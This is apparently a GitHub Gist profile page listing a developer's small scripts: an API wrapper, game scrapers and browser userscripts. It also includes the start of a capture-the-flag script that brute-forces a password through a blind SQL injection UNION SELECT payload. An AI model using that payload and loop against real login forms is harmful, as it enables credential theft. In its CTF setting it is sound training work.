Skip to content

Instantly share code, notes, and snippets.

View ZhangYiJiang's full-sized avatar
🎼
Practising his hemidemisemiquaver

Zhang Yi Jiang ZhangYiJiang

🎼
Practising his hemidemisemiquaver
View GitHub Profile
@ZhangYiJiang
ZhangYiJiang / api_wrapper.js
Created January 25, 2011 07:06
Lightweight SE API Wrapper
var apikey = 'xxxxxxxxxxxxxxxx',
apiPrefix = 'http://api.stackoverflow.com/1.0/';
if(!Date.now) {
Date.now = function () {
return +new Date();
};
}
var api = {
@ZhangYiJiang
ZhangYiJiang / upgrade-scraper.js
Created August 10, 2012 10:56
Glitch Upgrades data and scraper
// Replace all dashes with spaces and uppercase first letter of each word
function humanize (str) {
return str.replace(/\-/g, ' ').replace(/\w\S*/g, function(txt){
return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
});
}
// Split up URL pathnames into components
function parseUrl (url) {
// Remove trailing slashes
@ZhangYiJiang
ZhangYiJiang / mass_glitch_mail.user.js
Created August 20, 2012 07:24
Glitch mass mail delete userscript
// ==UserScript==
// @name Mass delete Glitch mail messages
// @namespace yijiang
// @include http://www.glitch.com/mail/
// @include http://www.glitch.com/mail/all/
// @version 1.04
// ==/UserScript==
function init() {
function deleteMessage (message) {
@ZhangYiJiang
ZhangYiJiang / README.md
Created August 28, 2012 03:59
Glitch Forum Remix

To configure this script, open your browser's console (F12) and copy this in

localStorage.remixSetting = JSON.stringify({
	// Add or remove forums to load by editing these. 
	enabledForum: ['announcements', 'bugs', 'ideas', 'marketplace'], 
	otherForumCount: 6, // Number of posts to show from the other forum
	generalForumCount: 10, // Number of posts to show from General 
	cacheTime: 10 // Amount of time to cache the results from other forums in minutes
});
// ==UserScript==
// @name Asslandia
// @namespace yijiang
// @include http://www.glitch.com/*
// @version 1.01
// ==/UserScript==
// NEVER FORGET LNVG40H1DOD392I :(
var assLinks = document.querySelectorAll('a[href*="LA9BT2I0ILD340S"]');
@ZhangYiJiang
ZhangYiJiang / voting-ponies.user.js
Last active December 15, 2015 05:38
Watch Karma and Descentia vote for you as you click on the up and downvote button on r/mylittlepony
// ==UserScript==
// @name Voting Ponies
// @namespace yijiang
// @include http://www.reddit.com/r/mylittlepony*
// @version 1.1
// ==/UserScript==
function inject () {
var images = ['http://i.imgur.com/nXc1LOz.gif', 'http://i.imgur.com/jQ70FcY.gif',
'http://i.imgur.com/YIJWhes.gif', 'http://i.imgur.com/45wWH0C.gif'];
@ZhangYiJiang
ZhangYiJiang / tag_remover.user.js
Last active November 1, 2015 07:57
Stack Exchange Title Tag Remover
// ==UserScript==
// @name Stack Exchange Title Tag Remover
// @namespace yijiang
// @include http://stackoverflow.com/questions/*
// @include http://superuser.com/questions/*
// @include http://serverfault.com/questions/*
// @include http://askubuntu.com/questions/*
// @include http://answers.onstartups.com/questions/*
// @include http://nothingtoinstall.com/questions/*
// @include http://seasonedadvice.com/questions/*
@ZhangYiJiang
ZhangYiJiang / sql_injection.js
Created August 22, 2015 13:09
NUS Greyhats CTF Day 2 - Brute force password cracking on a blind SQL injection form
// Run this first: injects jQuery into the page
var s = document.createElement('script');
s.src = 'https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js';
document.body.appendChild(s);
// SQL query: 1' AND FALSE UNION SELECT * FROM users WHERE password LIKE 'a%' #
// Recursive function to brute force out the password from the page
function getPassword(p) {
$.post('http://web.nusgreyhats.org/blindsqli/register.php', {
register: "1' AND FALSE UNION SELECT * FROM users WHERE password LIKE '" + p + "%' #"
with open('1.in') as f:
data = f.read()
print('First half')
print(data.count('(') - data.count(')'))
i = 0
floor = 0
while floor >= 0:
@ZhangYiJiang
ZhangYiJiang / 0_reuse_code.js
Created May 5, 2016 12:15
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console